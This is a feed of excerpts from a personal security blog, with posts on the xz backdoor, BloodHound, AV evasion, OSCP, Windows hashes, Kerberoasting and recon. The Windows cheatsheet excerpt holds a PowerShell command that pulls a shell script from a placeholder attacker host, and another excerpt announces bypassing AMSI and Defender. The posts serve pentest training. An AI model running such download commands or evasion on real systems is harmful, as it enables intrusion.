https://gkourgkoutas.net/en/tags/security/ Recent content in security on gkourgkoutas.net Hugo -- gohugo.io Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/posts/xz/ Wed, 03 Apr 2024 15:50:59 +0900 https://gkourgkoutas.net/en/posts/xz/ For various reasons I wasn’t able to write a summary for 2023. But if I had known then what to expect in 2024 with the current xz/liblzma1, I would have written a modified version of Wilhelm Hey’s “Alle Jahre wieder”2 instead of the recap. As for the vulnerability itself, there are already a number of blogs on the subject, the best known being by Evan Boehs3 and Bruce Schneier4. My two cents? https://gkourgkoutas.net/en/posts/offensivegpt/ Mon, 16 Oct 2023 20:04:56 +0200 https://gkourgkoutas.net/en/posts/offensivegpt/ Recently I have been asked a lot about AI-related topics and what I think about them. Some time ago I wrote a blog post about chatGPT and it’s view on OT security (ChatGPT on Cyber Security). Of course, the hype around AI hasn’t stopped since then, and we still seem to be on the hype train, with new information flooding social media every week. My conclusion at that time was the following: https://gkourgkoutas.net/en/posts/sec-hardships/ Wed, 26 Jul 2023 09:08:52 +0200 https://gkourgkoutas.net/en/posts/sec-hardships/ In today’s digital age, where data breaches and cyber attacks have become all too common, ensuring robust cybersecurity measures is crucial for the survival and reputation of any company. However, despite the growing awareness and the staggering costs associated with breaches, many organizations continue to struggle in establishing effective cybersecurity frameworks. So, why is it so hard for companies to have good cybersecurity in place? This blog post highlights some of the complex challenges that businesses face when it comes to safeguarding their digital assets. https://gkourgkoutas.net/en/posts/public-wifi/ Fri, 06 Jan 2023 21:30:11 +0100 https://gkourgkoutas.net/en/posts/public-wifi/ 2023 is here and the thought about writing some best practices about “Staying Safe on Public WiFi” strucked me while connected to a public WiFi. As convenient as it is to connect to free public WiFi when we’re on the go, it’s important to remember that these networks can also be a security risk. Hackers and cybercriminals often target public WiFi networks because they are more vulnerable to attacks. Here are some tips for staying safe on public WiFi. https://gkourgkoutas.net/en/posts/chatgpt/ Sun, 11 Dec 2022 18:19:00 +0200 https://gkourgkoutas.net/en/posts/chatgpt/ There is always the year of “X”, like the year of the linux desktop :P And it seems that 2022 is the year of stable diffusion1 and openAI. After This introduction, the following sections are based on the output of ChatGPT2, or as I like to call it: ChaDGPT. It’s capabilities are more than impressive, but see for yourself… What is AI? Artificial intelligence (AI) has its roots in the field of computer science, which emerged in the 1940s. https://gkourgkoutas.net/en/posts/cleanup/ Sat, 03 Sep 2022 19:53:00 +0200 https://gkourgkoutas.net/en/posts/cleanup/ Although it’s just September yet, it feels like the year is almost over with all the stuff there is to do. The CISSP with 90 days left until the exam is almost around the corner and a lot of other private stuff is still in the making. Cleaning, Clearing, Erasing, Purging, Degaussing and Destruction The thought for this blogpost originated when I put my old server racks in the car for destruction. https://gkourgkoutas.net/en/posts/bloodhound-part-2/ Mon, 15 Nov 2021 18:37:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-2/ The first part of my BloodHound post was about the setup and usage of the tool. This part will mainly focous on the built-in queries and some small tips and tricks. I think the only way to fully grasp BloodHound is by frequently using it. Built-in queries After dumping our raw data with SharpHound1, it’s time to get to work. BH has some built-in queries which helps us to get a quick overview of the domain we are facing. https://gkourgkoutas.net/en/posts/av-evasion/ Wed, 28 Jul 2021 10:10:16 +0200 https://gkourgkoutas.net/en/posts/av-evasion/ A lot of organizations and companies run antivirus software on their users clients. Users should be protected from themselves by preventing the execution of .exe files or scripts. Through GPOs and standard tools of the OS, this can be achieved. In this post we’ll be mainly talking about how to bypass tools like AMSI1 and Windows Defender. Antivirus Software The first AV software originated back in 1972. Since the first known Virus was the so called “Creeper Virus”2, Ray Tomlinson used to write the “Reaper”3, a program to remove it. https://gkourgkoutas.net/en/posts/oscp/ Sat, 01 May 2021 11:18:05 +0200 https://gkourgkoutas.net/en/posts/oscp/ There are tons of writeups on the internet from people who completed their OSCP certification, and I guess most of them are written better than this version. But anyway… Let’s jump in. Lab As soon as you get access to the lab, you will notice a lot of machines and different networks, which you can’t access at first. There is a so called learning path1, which suggests a few easy, medium and hard machines and their respective IP addresses. https://gkourgkoutas.net/en/posts/windows-cheats/ Mon, 22 Mar 2021 19:21:03 +0100 https://gkourgkoutas.net/en/posts/windows-cheats/ So this is the windows equivalent of my post about linux cheatsheets. A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired.team. I also have grepable cheatsheets to download on my GitHub. Powershell Download from remote Webserver PS> Invoke-WebRequest -Uri "http://<ip>:<port>/shell.ps1." -OutFile "C:\path\file" With the following command, Powershell downloads the file and executes it immediately https://gkourgkoutas.net/en/posts/linux-cheats/ Sun, 21 Mar 2021 20:01:41 +0100 https://gkourgkoutas.net/en/posts/linux-cheats/ Writing a full hands-on of BloodHound takes more time than I thought, hence Part II is going to be delayed until I’m fully satisfied with the results. Thus I thought I will share some of my Linux cheats which I use (mostly for enumeration and privilege escalation stuff). A lot of the following commands are from labs, cheatsheets, writeups, from friends and colleagues, trial and error and also copied from famous places like hacktricks and ired. https://gkourgkoutas.net/en/posts/bloodhound-part-1/ Sat, 20 Mar 2021 11:53:00 +0100 https://gkourgkoutas.net/en/posts/bloodhound-part-1/ What is BloodHound? BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a PowerShell ingestor. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. https://gkourgkoutas.net/en/posts/windows-hashes/ Fri, 19 Mar 2021 23:35:18 +0100 https://gkourgkoutas.net/en/posts/windows-hashes/ All the different types of Windows hashes can be confusing sometimes. So to clear thinks up a little bit, I wrote some Key points to help understand what most of the stuff like LM, NTLM and DCC is all about. An excellent writeup for NTLM relaying1 is from byt3bl33d3r. All the other sources2 3 4 can be found in the footnotes. Hash types LM Hashes5 Since OS/2 (ca. 1980) in use Limited character set - everything is an CAPS and a 7 char character-limit When hashing, the PW is padded to 14 characters with zeros and encrypted with DES Very easily crackable - found only in exceptions in NTDS. https://gkourgkoutas.net/en/posts/kerberoasting/ Thu, 11 Mar 2021 19:56:21 +0100 https://gkourgkoutas.net/en/posts/kerberoasting/ Definition: Kerberos Kerberos (/ˈkɜːrbərɒs/) is a computer-network authentication protocol that works on the basis of tickets to allow nodes communicating over a non-secure network to prove their identity to one another in a secure manner.1 There is also the MIT version of Kerberos, but it’s slightly different than the Microsoft2 implementation.3 Kerberos is also the three headed dog who guards the entrance to the underworld in greek mythology.4 https://gkourgkoutas.net/en/posts/1mb-club/ Sat, 19 Dec 2020 11:43:02 +0100 https://gkourgkoutas.net/en/posts/1mb-club/ Making the web less bloated So recently I found a website called 1MB Club, where people’s websites are listed which are less than 1MB in size. I realy liked the idea of the website because I found likeminded people, who love to build sites, which don’t burden your bandwith. Make sure to check out bradleytaunt’s Github Page. Only people who lived through ISDN and/or a bandwith of 57KiB/s know what it feels like, when you have to download a file/program which is bigger than 25MB. https://gkourgkoutas.net/en/posts/passwords/ Fri, 06 Nov 2020 21:33:59 +0100 https://gkourgkoutas.net/en/posts/passwords/ It’s rather bad than complex A lot of users1 always choose their passwords based on the same criteria: They use the same password for every service password reuse They use a combination of username + year of birth user95 The classic par excellence: season + year Winter2020 With common password lists, these kind of passwords can be found out in seconds. Even if they’re hashed, cracking them with tools like Hashcat2 in combination with rule based lists3 and potent hardware is not a big effort. https://gkourgkoutas.net/en/posts/virus/ Sat, 17 Oct 2020 19:35:19 +0100 https://gkourgkoutas.net/en/posts/virus/ And I’m not talking about the Corona one here. Definition A computer virus is a type of malicious software program (“malware”) that, when executed, replicates itself by modifying other computer programs and inserting its own code. Infected computer programs can include as well, data files, or the “boot” sector of the hard drive. When this replication succeeds, the affected areas are then said to be “infected” with a computer virus. https://gkourgkoutas.net/en/posts/recon/ Fri, 19 Jun 2020 21:00:59 +0100 https://gkourgkoutas.net/en/posts/recon/ Footprinting Footprinting; often simply called recon (short for reconnaissance) is the uninteresting part for some people when it comes to attacking systems. Many want to start exploiting as soon as possible, if not looting or post exploitation. Well those parts are certainly the best if a target is compromised… BUT: The pre-attack phase is crucial for a successful attack. What is essential for good reconing? Much patience and above all thorough work!